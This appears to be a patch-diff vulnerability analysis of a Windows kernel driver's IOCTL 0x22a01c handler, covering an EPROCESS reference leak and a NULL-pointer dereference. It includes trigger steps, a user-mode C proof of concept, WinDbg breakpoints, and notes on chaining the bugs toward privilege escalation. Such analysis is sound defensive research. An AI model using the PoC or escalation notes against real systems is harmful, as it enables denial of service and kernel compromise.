1. Overview

Field Value
Unpatched binary dam_unpatched.sys
Patched binary dam_patched.sys
Overall similarity 0.9905
Matched functions 123
Changed functions 1 (DampIoDispatch)
Identical functions 122
Unmatched (either direction) 0

Verdict: The patch fixes two security bugs in the DampIoDispatch handler for IOCTL 0x22a01c (add-process-to-DAM-job): an EPROCESS object reference leak (the obtained PEPROCESS is never dereferenced) and a missing NULL check on ExAllocatePoolWithTag that produces a kernel NULL-pointer dereference under memory pressure.


2. Vulnerability Summary

Finding #1 — EPROCESS Reference Leak (CWE-404 / CWE-911)

  • Severity: Medium
  • Vulnerability class: Kernel object reference leak / improper resource lifetime management
  • Affected function: DampIoDispatch (IOCTL 0x22a01c sub-handler), base 0x1c000a3d0

Root cause: The unpatched IOCTL 0x22a01c handler opens the target process via ZwOpenProcess(PROCESS_ALL_ACCESS) and then calls ObReferenceObjectByHandleWithTag(... 'DamK', &v24, ...), which increments the EPROCESS object's PointerCount. The resulting PEPROCESS (v24) is used for PsGetProcessImageFileName, PsQueryProcessCommandLine, PsGetProcessSessionId, and DampAddProcessToJobObject. However, in the cleanup path the handler only calls ZwClose(ProcessHandle) — it never calls ObfDereferenceObject(v24). Each successful IOCTL call therefore leaks one EPROCESS reference permanently. The EPROCESS structure for the target PID can never be freed, even after the process exits. This is both a resource-exhaustion primitive and a potential stale-object-lifetime hazard.

Patch fix: The patch discards the entire ZwOpenProcess + ObReferenceObjectByHandleWithTag chain and replaces it with PsLookupProcessByProcessId(PID, &Process). A single unified cleanup block adds ObfDereferenceObject(Process) with a NULL guard. This eliminates the handle entirely and properly releases the object reference on every path (success and failure).

Attacker-reachable entry point and call chain:

  1. CreateFileW("\\\\.\\DamCtrl", FILE_WRITE_DATA, ...) — open the control device.
  2. DeviceIoControl(h, 0x22a01c, inputBuf, 8, ...) — send the IOCTL with a PID.
  3. DampIoDispatch is invoked as the IRP_MJ_DEVICE_CONTROL dispatcher (0x1c000a3d0).
  4. The IOCTL 0x22a01c branch runs: ZwOpenProcessObReferenceObjectByHandleWithTagPsGetProcessImageFileNameRtlAnsiStringToUnicodeStringPsQueryProcessCommandLine (query length) → ExAllocatePoolWithTagPsQueryProcessCommandLine (fill) → DampAddProcessToJobObject.
  5. Cleanup path: ExFreePoolWithTag(P), RtlFreeUnicodeString, ZwClose(Handle)but no ObfDereferenceObject, so the reference count on the target EPROCESS is incremented and never decremented.

Finding #2 — NULL Pointer Dereference on Pool Allocation Failure (CWE-690 / CWE-476)

  • Severity: Medium (DoS)
  • Vulnerability class: Missing NULL check on allocation; kernel NULL-pointer dereference
  • Affected function: Same DampIoDispatch IOCTL 0x22a01c handler

Root cause: After determining the required command-line length, the handler calls ExAllocatePoolWithTag(PagedPool, len, 'DamK') and stores the result in P (register rsi). The very next call is PsQueryProcessCommandLine(v24, P, len, 0, &len) — with no test rax, rax / jz check between. If the allocation returns NULL (e.g., under paged-pool exhaustion), the kernel writes through address 0x0, producing an unrecoverable bug check. Additionally, ExFreePoolWithTag(P, 'DamK') is called unconditionally afterward, which is also undefined behavior on a NULL pointer.

Patch fix: The patched code adds test rax, rax immediately after the allocation. On NULL, it sets rbx = STATUS_NO_MEMORY (0xC0000017) and skips to the unified cleanup, which itself guards if (P) ExFreePoolWithTag(P, ...) so the free never executes against NULL.

Call chain is identical to Finding #1; the dereference occurs at the second PsQueryProcessCommandLine call (0x1c000a6d8).


3. Pseudocode Diff

// === UNPATCHED (vulnerable) — IOCTL 0x22a01c case ===
case 0x22A01Cu:
    if (Options != 8)                                          // InputBufferLength
        { JobSilo = STATUS_INVALID_PARAMETER; break; }
    ObjectAttributes.Length = 48;
    ObjectAttributes.Attributes = 512;
    // ... remaining OBJECT_ATTRIBUTES fields zeroed ...
    ClientId.UniqueThread  = NULL;
    ClientId.UniqueProcess = (HANDLE)*MasterIrp;               // attacker PID
    JobSilo = ZwOpenProcess(&ProcessHandle, 0x1FFFFF, &ObjectAttributes, &ClientId);
    if (JobSilo >= 0) {
        JobSilo = ObReferenceObjectByHandleWithTag(ProcessHandle, 0x1FFFFF,
                      PsProcessType, 0, 'DamK', &v24, NULL);    // v24 = PEPROCESS
        if (JobSilo >= 0) {
            RtlInitAnsiString(&DestinationString, PsGetProcessImageFileName(v24));
            JobSilo = RtlAnsiStringToUnicodeString(&UnicodeString, &DestinationString, 1);
            if (JobSilo >= 0) {
                JobSilo = PsQueryProcessCommandLine(v24, 0, 0, 0, &NumberOfBytes);
                if (JobSilo == STATUS_INFO_LENGTH_MISMATCH) {
                    PoolWithTag = ExAllocatePoolWithTag(PagedPool, NumberOfBytes, 'DamK');
                    // *** BUG #2: no NULL check on PoolWithTag ***
                    JobSilo = PsQueryProcessCommandLine(v24, PoolWithTag,
                                                        NumberOfBytes, 0, &NumberOfBytes);
                    if (JobSilo >= 0) {
                        PsGetProcessSessionId(v24);
                        JobSilo = DampAddProcessToJobObject(v24, *((_QWORD*)v24 + 137), 1);
                    }
                    ExFreePoolWithTag(PoolWithTag, 'DamK');     // unconditional
                }
                RtlFreeUnicodeString(&UnicodeString);
            }
        }
        ZwClose(ProcessHandle);
        // *** BUG #1: ObfDereferenceObject(v24) NEVER CALLED — reference leak ***
    }
    break;

// === PATCHED — IOCTL 0x22a01c case ===
case 0x22A01Cu:
    Process = NULL;
    UnicodeString.Length = 0;
    PoolWithTag = NULL;
    UnicodeString.Buffer = NULL;
    if (Options == 8) {
        JobSilo = PsLookupProcessByProcessId((HANDLE)*MasterIrp, &Process);   // FIX
        if (JobSilo >= 0) {
            RtlInitAnsiString(&DestinationString, PsGetProcessImageFileName(Process));
            JobSilo = RtlAnsiStringToUnicodeString(&UnicodeString, &DestinationString, 1);
            if (JobSilo >= 0) {
                JobSilo = PsQueryProcessCommandLine(Process, 0, 0, 0, &NumberOfBytes);
                if (JobSilo == STATUS_INFO_LENGTH_MISMATCH) {
                    PoolWithTag = ExAllocatePoolWithTag(PagedPool, NumberOfBytes, 'DamK');
                    if (PoolWithTag != NULL) {                  // FIX: NULL check
                        JobSilo = PsQueryProcessCommandLine(Process, PoolWithTag,
                                                            NumberOfBytes, 0, &NumberOfBytes);
                        if (JobSilo >= 0) {
                            PsGetProcessSessionId(Process);
                            JobSilo = DampAddProcessToJobObject(Process,
                                          *((_QWORD*)Process + 137), 1);
                        }
                    } else {
                        JobSilo = STATUS_NO_MEMORY;             // FIX: 0xC0000017
                    }
                }
            }
        }
    } else {
        JobSilo = STATUS_INVALID_PARAMETER;                     // 0xC000000D
    }
    // Unified, guarded cleanup:
    if (UnicodeString.Buffer != NULL) RtlFreeUnicodeString(&UnicodeString);
    if (Process != NULL)              ObfDereferenceObject(Process);          // FIX: release ref
    if (PoolWithTag != NULL)          ExFreePoolWithTag(PoolWithTag, 'DamK'); // FIX: guarded free
    break;

4. Assembly Analysis

Unpatched vulnerable path (key instructions)

; ---- IOCTL dispatch: the code is a subtraction chain over eax = IoControlCode ----
0x1c000a41a: mov     r8d, [rsi+18h]           ; IoControlCode
0x1c000a41e: mov     r9d, 226004h
0x1c000a424: mov     ecx, [rsi+10h]           ; InputBufferLength
0x1c000a427: mov     eax, r8d
0x1c000a434: sub     eax, r9d                 ; - 0x226004
0x1c000a437: jz      loc_1C000A79A
0x1c000a43d: sub     eax, 10h
0x1c000a440: jz      loc_1C000A748
0x1c000a446: sub     eax, 3FF4h
0x1c000a44b: jz      loc_1C000A79A
0x1c000a451: sub     eax, 14h                 ; cumulative subtrahend = 0x22a01c
0x1c000a454: jz      loc_1C000A592            ; -> IOCTL 0x22a01c handler

; ---- 0x22a01c handler @ loc_1C000A592: InputBufferLength check ----
0x1c000a592: cmp     ecx, 8                   ; must be 8
0x1c000a595: jnz     loc_1C000A760            ; STATUS_INVALID_PARAMETER
0x1c000a59b: xorps   xmm0, xmm0               ; zero OBJECT_ATTRIBUTES fields

; ---- ClientId.UniqueProcess <- attacker PID; ZwOpenProcess(0x1FFFFF) ----
0x1c000a5c9: mov     esi, 1FFFFFh             ; PROCESS_ALL_ACCESS
0x1c000a5ce: mov     eax, [rdi]               ; PID (DWORD from SystemBuffer)
0x1c000a5d0: mov     edx, esi                 ; DesiredAccess
0x1c000a5d2: mov     [rbp+57h+ClientId.UniqueProcess], rax
0x1c000a5d6: call    cs:__imp_ZwOpenProcess
0x1c000a5e2: mov     ebx, eax
0x1c000a5e4: test    eax, eax
0x1c000a5e6: js      loc_1C000A8C2            ; bail if failed

; ---- ObReferenceObjectByHandleWithTag — OBTAINS THE LEAKED REFERENCE ----
0x1c000a5fb: mov     edi, 4B6D6144h           ; tag 'DamK'
0x1c000a612: mov     [rsp+0E0h+Tag], edi
0x1c000a616: call    cs:__imp_ObReferenceObjectByHandleWithTag
                                            ; PEPROCESS output stored in [rbp+57h+arg_10]
0x1c000a622: mov     ebx, eax
0x1c000a624: test    eax, eax
0x1c000a626: jns     short loc_1C000A63D     ; NEVER dereferenced on any path below!

; ---- ExAllocatePoolWithTag — NO NULL CHECK ----
0x1c000a6a7: mov     edx, dword ptr [rbp+57h+NumberOfBytes]   ; len
0x1c000a6aa: mov     r8d, edi                 ; tag 'DamK'
0x1c000a6ad: mov     ecx, 1                   ; PagedPool
0x1c000a6b2: call    cs:__imp_ExAllocatePoolWithTag           ; -> rax
0x1c000a6c9: mov     rsi, rax                 ; P = rax (may be NULL)
; *** MISSING: test rax, rax / jz ***

; ---- PsQueryProcessCommandLine(P) — NULL-DEREF SINK ----
0x1c000a6c5: mov     rcx, [rbp+57h+arg_10]    ; the PEPROCESS
0x1c000a6d0: mov     rdx, rsi                 ; P  <-- if 0, kernel writes through 0x0
0x1c000a6d8: call    cs:__imp_PsQueryProcessCommandLine

; ---- ExFreePoolWithTag — UNCONDITIONAL (undefined on NULL) ----
0x1c000a6ea: mov     edx, edi                 ; tag 'DamK'
0x1c000a6ec: mov     rcx, rsi                 ; P (may be NULL)
0x1c000a6ef: call    cs:__imp_ExFreePoolWithTag

; ---- ZwClose — only the HANDLE is closed ----
0x1c000a628: mov     rcx, [rbp+57h+ProcessHandle]   ; Handle
0x1c000a62c: call    cs:__imp_ZwClose
0x1c000a638: jmp     loc_1C000A8C2
; *** MISSING ObfDereferenceObject on the PEPROCESS — REFERENCE LEAK ***

0x1c000a8c4: mov     [r14+30h], ebx           ; IRP->IoStatus.Status
0x1c000a8c8: mov     rcx, r14                 ; Irp
0x1c000a8cb: call    cs:__imp_IofCompleteRequest

Patched correction points

; ---- PsLookupProcessByProcessId replaces the ZwOpenProcess + ObReference chain ----
0x1c000a597: mov     [rbp+Process], r12       ; Process = NULL
0x1c000a5a6: cmp     ecx, 8                   ; InputBufferLength
0x1c000a5a9: jz      short loc_1C000A5B5
0x1c000a5ab: mov     ebx, 0C000000Dh          ; STATUS_INVALID_PARAMETER
0x1c000a5b0: jmp     loc_1C000A6CB
0x1c000a5b5: mov     ecx, [rdi]               ; PID from input buffer
0x1c000a5b7: lea     rdx, [rbp+Process]       ; &Process output
0x1c000a5bb: call    cs:__imp_PsLookupProcessByProcessId

; ---- Allocation WITH NULL CHECK ----
0x1c000a643: mov     edx, dword ptr [rbp+NumberOfBytes]
0x1c000a646: mov     ecx, 1                   ; PagedPool
0x1c000a64b: mov     r8d, 4B6D6144h           ; tag 'DamK'
0x1c000a651: call    cs:__imp_ExAllocatePoolWithTag           ; -> rax
0x1c000a65d: mov     rsi, rax
0x1c000a660: test    rax, rax                 ; *** ADDED ***
0x1c000a663: jnz     short loc_1C000A66C      ; proceed only if non-NULL
0x1c000a665: mov     ebx, 0C0000017h          ; STATUS_NO_MEMORY

; ---- Unified, guarded cleanup @ loc_1C000A6CB ----
0x1c000a6cb: cmp     [rbp+UnicodeString.Buffer], r12   ; freed only if buffer != NULL
0x1c000a6cf: jz      short loc_1C000A6E1
0x1c000a6d1: lea     rcx, [rbp+UnicodeString]
0x1c000a6d5: call    cs:__imp_RtlFreeUnicodeString
0x1c000a6e1: mov     rcx, [rbp+Process]       ; Process
0x1c000a6e5: test    rcx, rcx                 ; NULL guard
0x1c000a6e8: jz      short loc_1C000A6F6
0x1c000a6ea: call    cs:__imp_ObfDereferenceObject          ; *** FIX: release ref ***
0x1c000a6f6: test    rsi, rsi                 ; P != NULL ?
0x1c000a6f9: jz      loc_1C000A892
0x1c000a6ff: mov     edx, 4B6D6144h           ; tag 'DamK'
0x1c000a704: mov     rcx, rsi                 ; P
0x1c000a707: call    cs:__imp_ExFreePoolWithTag             ; *** guarded free ***

5. Trigger Conditions

Finding #2 — NULL Pointer Dereference (DoS)

  1. Obtain a writable handle to the DAM device: CreateFileW("\\\\.\\DamCtrl", GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL). On production builds the ACL may require the caller to be elevated/SYSTEM; if access is denied, run the PoC in an elevated context.
  2. Build the 8-byte input buffer: DWORD pid = <any valid PID>; BYTE in[8] = {0}; *(DWORD*)in = pid;.
  3. Induce paged-pool pressure so the next ExAllocatePoolWithTag(PagedPool, ...) returns NULL — e.g., spray large paged allocations from an elevated process, or (in a debugger) simply overwrite rax with 0 at 0x1c000a6c9.
  4. Issue the IOCTL: DeviceIoControl(h, 0x22a01c, in, 8, NULL, 0, &returned, NULL);
  5. The kernel executes PsQueryProcessCommandLine(v24, NULL, len, 0, &len) and faults writing to address 0x0.
  6. Observable effect: Bug check 0x50 PAGE_FAULT_IN_NONPAGED_AREA (or 0x7E) with faulting address near 0x0. Call stack: DampIoDispatch → PsQueryProcessCommandLine.

Finding #1 — EPROCESS Reference Leak

  1. Same device-handle acquisition as above.
  2. Same 8-byte input buffer (PID is the only field that matters).
  3. Repeat DeviceIoControl(h, 0x22a01c, &pid, 8, NULL, 0, &returned, NULL); in a tight loop (e.g., 10 000 iterations) against the same or different PIDs. Each successful call increments the target EPROCESS PointerCount by exactly 1 with no corresponding decrement.
  4. No race condition or timing constraint; the leak is deterministic.
  5. Observable effect: No crash. Inspect with !process <PID> 7 — the PointerCount grows linearly with the number of IOCTL calls and never decreases. After the target exits, the EPROCESS remains in pool indefinitely. Pool usage for DamK-adjacent allocations accumulates.

Note: IOCTL 0x22a01c is not gated behind DampTestSigningOn (unlike IOCTLs 0x226004 and 0x22a008). Reachability is therefore determined solely by the device's security descriptor.


6. Exploit Primitive & Development Notes

Primitive #1 — Kernel NULL-Pointer Dereference (DoS)

  • Direct, reliable denial of service. The bug check is unrecoverable.
  • Requires the attacker to drive paged pool to exhaustion (or to fault-inject in a debugger). On systems with large paged pools and aggressive quota, this can still be achievable from a constrained user account through allocation churn.

Primitive #2 — EPROCESS Reference Leak

  • Resource exhaustion: Linear accumulation of leaked EPROCESS references; eventually pool pressure / quota denial.
  • Object-lifetime corruption: The leaked reference keeps the EPROCESS alive past process exit. This becomes a stale-reference primitive — a building block for a UAF escalation chain if a second bug allows reclaiming the pool underneath the still-referenced object.
  • Info-leak surface: Combined with any leak primitive, the persistent EPROCESS could be used to read process metadata (token, SID, image name) for forensic evasion.

Additional steps to weaponize

  • For DoS-only: nothing further required.
  • For escalation: combine the leaked-reference EPROCESS with a separate pool-reclaim bug to convert the stale reference into a UAF, then perform token-stealing or page-table manipulation. This requires an info leak to defeat KASLR.
  • The reference leak alone does not bypass SMEP/SMAP/HVCI; it is a state-corruption primitive.

Relevant mitigations

Mitigation Impact
KASLR Does not affect DoS or leak primitives. Required bypass for any follow-on UAF escalation.
SMEP / SMAP Not directly relevant to either primitive; relevant only if R/W primitives are later converted to code execution.
HVCI / Kernel CFG Would constrain any code-execution follow-on; the two primitives here are unaffected.
Paged-pool quota May make the NULL-deref path harder to reach without elevation, but does not prevent the reference leak.

7. Debugger PoC Playbook

The following assumes WinDbg/KD attached to the unpatched dam.sys. All addresses are file-relative to the analysis (base 0x1c000000); adjust for the actual loaded base with !dam_unpatched / lm m dam_unpatched.

Breakpoints

bp dam_unpatched!DampIoDispatch                       ; 0x1c000a3d0 — dispatcher entry
bp dam_unpatched!DampIoDispatch+0x206                 ; 0x1c000a5d6 — ZwOpenProcess call
bp dam_unpatched!DampIoDispatch+0x246                 ; 0x1c000a616 — ObReferenceObjectByHandleWithTag call
bp dam_unpatched!DampIoDispatch+0x2e2                 ; 0x1c000a6b2 — ExAllocatePoolWithTag call
bp dam_unpatched!DampIoDispatch+0x308                 ; 0x1c000a6d8 — PsQueryProcessCommandLine (NULL-deref sink)
bp dam_unpatched!DampIoDispatch+0x25c                 ; 0x1c000a62c — ZwClose (verify missing ObDereferenceObject)

What to inspect at each breakpoint

  • At DampIoDispatch entry:
  • r8d — IoControlCode; confirm 0x22a01c.
  • ecx — InputBufferLength; must be 8.
  • rdiAssociatedIrp.SystemBuffer; first DWORD is attacker PID.
  • rsiIoStackLocation pointer.
  • r14 — IRP pointer.
  • At 0x1c000a5d6 (ZwOpenProcess):
  • rcx = &Handle, edx = 0x1FFFFF (PROCESS_ALL_ACCESS), r8 = &ObjectAttributes, r9 = &ClientId.
  • dps r9 L2 — observe the attacker-supplied PID.
  • At 0x1c000a616 (ObReferenceObjectByHandleWithTag):
  • On return, dq rbp+0x77 L1 — the frame slot receiving the PEPROCESS output. Remember this pointer; it is never dereferenced.
  • At 0x1c000a6b2 (ExAllocatePoolWithTag):
  • Before the call: ecx = 1 (PagedPool), edx = length, r8d = 0x4b6d6144 ('DamK').
  • After return: inspect rax. If rax == 0, the bug will fire on the next call. To force the bug without exhausting pool, run r rax=0 here, then g — the next instruction will pass NULL into PsQueryProcessCommandLine.
  • At 0x1c000a6d8 (PsQueryProcessCommandLine sink):
  • rdx — buffer pointer; if rdx == 0, the bug is firing. Expect immediate 0x50 PAGE_FAULT_IN_NONPAGED_AREA.
  • At 0x1c000a62c (ZwClose):
  • Confirm the next instruction sequence does not call ObfDereferenceObject. The control flow jumps straight to epilogue at 0x1c000a8c2.

Trigger setup (user mode)

#include <windows.h>
int main(void) {
    HANDLE h = CreateFileW(L"\\\\.\\DamCtrl", GENERIC_WRITE, 0,
                           NULL, OPEN_EXISTING, 0, NULL);
    if (h == INVALID_HANDLE_VALUE) { return GetLastError(); }

    DWORD pid = GetCurrentProcessId();   // or any valid PID
    BYTE  in[8] = {0};
    *(DWORD*)in = pid;

    DWORD returned = 0;
    // Single call for ref-leak demonstration:
    DeviceIoControl(h, 0x22a01c, in, 8, NULL, 0, &returned, NULL);

    // To trigger NULL-deref in the debugger: set bp at 0x1c000a6c9,
    // run 'r rax=0', then 'g'.

    CloseHandle(h);
    return 0;
}

Expected observations

  • NULL-deref: BugCheck 0x50 (PAGE_FAULT_IN_NONPAGED_AREA) with faulting virtual address near 0x0; second parameter 1 (write); call stack showing dam_unpatched!DampIoDispatch → PsQueryProcessCommandLine.
  • Reference leak: No crash. After N IOCTLs, !process <PID> 7 shows PointerCount increased by N. !poolfind DamK reveals leaked allocation(s). After process exit, the EPROCESS still resides in pool: !pool <addr> shows it pinned by the leaked reference.

Struct / offset notes

  • IRP offsets used by the handler:
  • [IRP+0x18]AssociatedIrp.SystemBuffer (METHOD_BUFFERED pointer).
  • [IRP+0x30]IoStatus.Status.
  • [IRP+0x38]IoStatus.Information.
  • [IRP+0xb8] — tail-located IoStackLocation pointer (rsi).
  • IO_STACK_LOCATION offsets:
  • [+0x8]Parameters.DeviceIoControl.OutputBufferLength.
  • [+0x10]Parameters.DeviceIoControl.InputBufferLength (ecx).
  • [+0x18]Parameters.DeviceIoControl.IoControlCode (r8d).
  • Unpatched stack frame layout (notable):
  • [rbp-0x21]ClientId (8 bytes; UniqueProcess low, UniqueThread high).
  • [rbp-0x1]OBJECT_ATTRIBUTES (Length = 0x30).
  • [rbp+0x77] — PEPROCESS output from ObReferenceObjectByHandleWithTag (v24).
  • [rbp+0x6f] — required command-line length (NumberOfBytes).
  • [rbp+0x7f] — process Handle (ProcessHandle).
  • Pool tag: 'DamK' = 0x4b6d6144.

8. Changed Functions — Full Triage

Only one function differs between the binaries.

DampIoDispatch — similarity 0.9255, change type security_relevant

  • IOCTL 0x22a01c (Function 0x807, METHOD_BUFFERED, FILE_WRITE_ACCESS):
  • Replaced ZwOpenProcess(PROCESS_ALL_ACCESS) + ObReferenceObjectByHandleWithTag with PsLookupProcessByProcessId. Eliminates handle management and the over-privileged PROCESS_ALL_ACCESS pattern.
  • Added ObfDereferenceObject(Process) in a unified cleanup path → fixes the EPROCESS reference leak (Finding #1).
  • Added test rax, rax / jne after ExAllocatePoolWithTag and a STATUS_NO_MEMORY (0xC0000017) branch → fixes the NULL pointer dereference (Finding #2).
  • Added NULL guard on ExFreePoolWithTag(P, 'DamK') so it is never called against NULL.
  • Restructured RtlFreeUnicodeString, ObfDereferenceObject, and ExFreePoolWithTag into a single guarded cleanup section. The guards are the runtime values themselves: UnicodeString.Buffer != NULL, Process != NULL, and PoolWithTag != NULL (no separate tracking flag).
  • Cosmetic / register-allocation effects: the callee-saved register r14 is replaced by r12, and the IRP pointer is held in r15 instead of r14; the stack frame shrinks from 0xc0 to 0x70 because the OBJECT_ATTRIBUTES and CLIENT_ID locals are no longer needed (the PID is passed directly to PsLookupProcessByProcessId). These changes are a side effect of the cleanup restructure and have no security impact.

No other behavioral changes are present in the diff.


9. Unmatched Functions

None. The patch neither adds nor removes any function. All 123 functions in each binary map to a counterpart in the other.


10. Confidence & Caveats

Confidence: High.

Rationale: The diff is exceptionally narrow (1 of 123 functions changed, similarity 0.99 at the binary level). The vulnerable instructions (missing ObfDereferenceObject, missing NULL check on ExAllocatePoolWithTag) are directly observable in the assembly and pseudocode, and the patched counterparts (ObfDereferenceObject call, test rax,rax guard, STATUS_NO_MEMORY branch) are unambiguous. The dispatch logic for IOCTL 0x22a01c and the IRP field offsets are consistent across the function.

Assumptions made:

  • The device symlink is \\??\\DamCtrl and the Win32 device path is \\.\DamCtrl. The diff context identifies \\Device\\DamCtrl as the underlying device; the user-visible name is inferred from the standard pattern.
  • Reachability is gated by the device ACL (via WdmlibIoCreateDeviceSecure on test-signing builds or default IoCreateDevice security on production builds). The ACL was not in scope of the diff; verify on the target build.
  • The 8-byte input buffer layout (DWORD PID + DWORD unused) is inferred from the cmp ecx, 0x8 length check and the mov rax, qword [rdi] read of the SystemBuffer.

To verify manually before writing a final PoC:

  1. Confirm the loaded base address of dam.sys on the target system (lm m dam).
  2. Verify the security descriptor on \\Device\\DamCtrl (!sd via kernel debugger or GetSecurityInfo from user mode) to confirm a non-administrator can actually obtain a writable handle.
  3. Validate that the target PID is not exempted by DampCheckProcessExempted (called at 0x1c000a77e, on the separate IOCTL 0x22a014 path) — the IOCTL 0x22a01c handler is not filtered through that check; confirm at runtime by breaking at DampCheckProcessExempted.
  4. For the NULL-deref path, confirm paged-pool quota dynamics on the target OS build to know how much pressure is required; alternatively rely on the debugger r rax=0 injection at 0x1c000a6c9.
  5. For the reference leak, confirm with !process <PID> 7 that PointerCount increments per call and does not decrement on the unpatched build (and does decrement on the patched build).